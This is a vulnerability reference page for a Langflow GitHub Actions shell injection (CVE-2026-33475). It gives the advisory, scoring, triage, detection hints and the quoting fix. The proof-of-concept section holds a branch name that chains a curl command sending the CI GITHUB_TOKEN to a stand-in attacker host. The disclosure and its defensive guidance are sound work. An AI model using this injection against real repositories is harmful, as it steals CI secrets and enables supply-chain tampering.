Critical Injection exploit reference

CVE-2026-33475 — Langflow GitHub Actions Shell Injection

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Published Mar 24, 2026 · Updated Oct 13, 2026 · Sources: NIST National Vulnerability Database, CVE Program (cve.org) e CISA ADP · CNA: GitHub_M

Moderate

Who exploits it and how urgent it is

A 0–100 score combining confirmed exploitation, ransomware and APT use, public exploits, EPSS and severity.

No exploitation signal in the sources consulted so far.

How the score was calculated

EPSS 2.1% (30-day exploitation probability)+12
Technical severity (critical)+10
CISA SSVC: exploitation "poc"+5
Automatable exploitation (SSVC)+3

The score orders the patch queue; it does not replace your asset context (internet exposure, criticality, compensating controls).

Triage

Is it exploited, how likely is exploitation, what does it touch, and how severe do the sources call it.

Exploitation

Not confirmed

Not in CISA KEV — an absence of record, not proof it is unexploited.

EPSS FIRST

2.09%

ahead of 81% of scored CVEs · Oct 14, 2026

Affects

Langflow

CVSS base

9.1

Critical · 2 source(s)

CISA SSVC assessment CISA

Three decision points CISA publishes for the CVEs it assesses (SSVC 2.0.3). A stakeholder decision, not a severity score.

Exploitation

Proof of concept

none · proof-of-concept · active

Automatable

Yes

can an attacker script the kill-chain steps

Technical impact

Total

partial · total control of the vulnerable component

Remediation

Fixes and mitigations documented by the sources — linked to the original advisory.

Documented mitigation — github.com (NIST National Vulnerability Database)

First 24 hours

Ordered from the record’s own fields — exposure first, because you cannot patch what you have not found. A rule-generated starting point.

Identify exposed assets running the affected vendor/product/version combinations (Langflow Langflow, Langflow-ai Langflow).
The attack is network-based and needs no privileges: restrict exposure (ACLs, VPN, WAF) until patched.
Apply the documented mitigations until a definitive fix is available.
Search available logs for exploit probes matching the vulnerability class (injection), errors and authentication anomalies.

Affected scope

Vendor, product and versions as the sources word them.

Vendor	Product	Versions	Status	Source
Langflow	Langflow	< 1.9.0	Vulnerable	NIST National Vulnerability Database
Langflow-ai	Langflow	version < 1.9.0	Vulnerable	CVE Program (cve.org) e CISA ADP

Attack characteristics

The CVSS vector, decoded. It describes the attack, not your exposure to it.

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

Every base score collected

Sources score independently and may disagree; each row says who scored it and under which version.

Score	Version	Severity	Expl.	Impact	Scored by
9.1	CVSS 3.1	Critical	3.9	5.2	security-advisories@github.com via NIST National Vulnerability Database
9.1	CVSS 3.1	Critical	—	—	GitHub_M via CVE Program (cve.org) e CISA ADP

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (score shown at the top: security-advisories@github.com)

Weakness MITRE

Weakness class according to MITRE’s CWE catalog.

CWE-74 · Injection

Other CVEs with this weakness →

EPSS over time FIRST

Oct 13, 2026 → Oct 14, 2026 · 2 reading(s) · max 2.09%

Detection

Read off the CVSS vector and the weakness class. Starting points, not tested rules.

Prioritize edge telemetry for the network-reachable component (proxy, WAF, IDS/IPS).
Look for parameters with command/query metacharacters and unexpected child processes of the service.

web/proxy/WAF logsnetwork IDS/IPSapplication logsendpoint telemetry (EDR)

Timeline

What happened to this CVE, newest first.

2026
Affected products added · langflow-ai/langflow
Oct 13, 2026 · CVE Program (cve.org) e CISA ADP
SSVC assessment updated
Oct 13, 2026 · CVE Program (cve.org) e CISA ADP
Record published
Oct 13, 2026
Fix documented
Oct 13, 2026 · NIST National Vulnerability Database
CVSS changed · 9.1
Oct 13, 2026 · NIST National Vulnerability Database
Source status changed · → Analyzed
Oct 13, 2026 · NIST National Vulnerability Database
Record created in this database
Oct 13, 2026 · NIST National Vulnerability Database
CVE published
Mar 24, 2026 · GitHub_M

Source activity

Repeated readings are counted rather than listed.

1× Official description updated · Oct 13, 2026 – Oct 13, 2026

References

1 on the record

github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w
Exploit, Mitigation, Vendor Advisory, x_refsource_CONFIRM, NIST National Vulnerability Database

Elsewhere on this site

Langflow
every CVE for this vendor

Injection
same class

CWE-74
other pages naming this weakness

Related CVEs (same products)

High CVE-2026-97680 Langflow OSS is affected by multiple vulnerabilities 8d
High CVE-2026-97673 Langflow OSS is affected by multiple vulnerabilities 8d
High CVE-2026-97674 Langflow OSS is affected by multiple vulnerabilities 8d
High CVE-2026-97676 Langflow OSS is affected by multiple vulnerabilities 8d
High CVE-2026-97679 Langflow OSS is affected by multiple vulnerabilities 8d
High CVE-2026-97678 Langflow OSS is affected by multiple vulnerabilities 8d

Not in any source we poll

Listed rather than left blank: an empty field and an unmeasured one look identical on screen, and only one is a reason to look elsewhere.

No confirmed IOCs, IP addresses, domains, file hashes, or malware artifacts supplied.
No organization-specific asset inventory, compensating-control status, or patch deployment evidence supplied.
No exploit packet captures, log samples, or incident case IDs supplied.

Answered from this record

Text assembled only from the fields above — no additional claims.

What should defenders know first?

CVE-2026-33475 is "Langflow GitHub Actions Shell Injection", rated Critical. It affects Langflow (Langflow); versions are in the scope table. It is not in CISA KEV, which does not rule out exploitation. CVSS 9.1 describes technical severity. EPSS 2.09% estimates the probability of exploitation in 30 days; neither replaces your asset context. First verify whether exposed or business-critical assets run the affected versions, apply vendor fixes or mitigations, and preserve logs for review.

Comments

Moderated technical discussion. Read the community guidelines.

No comments yet.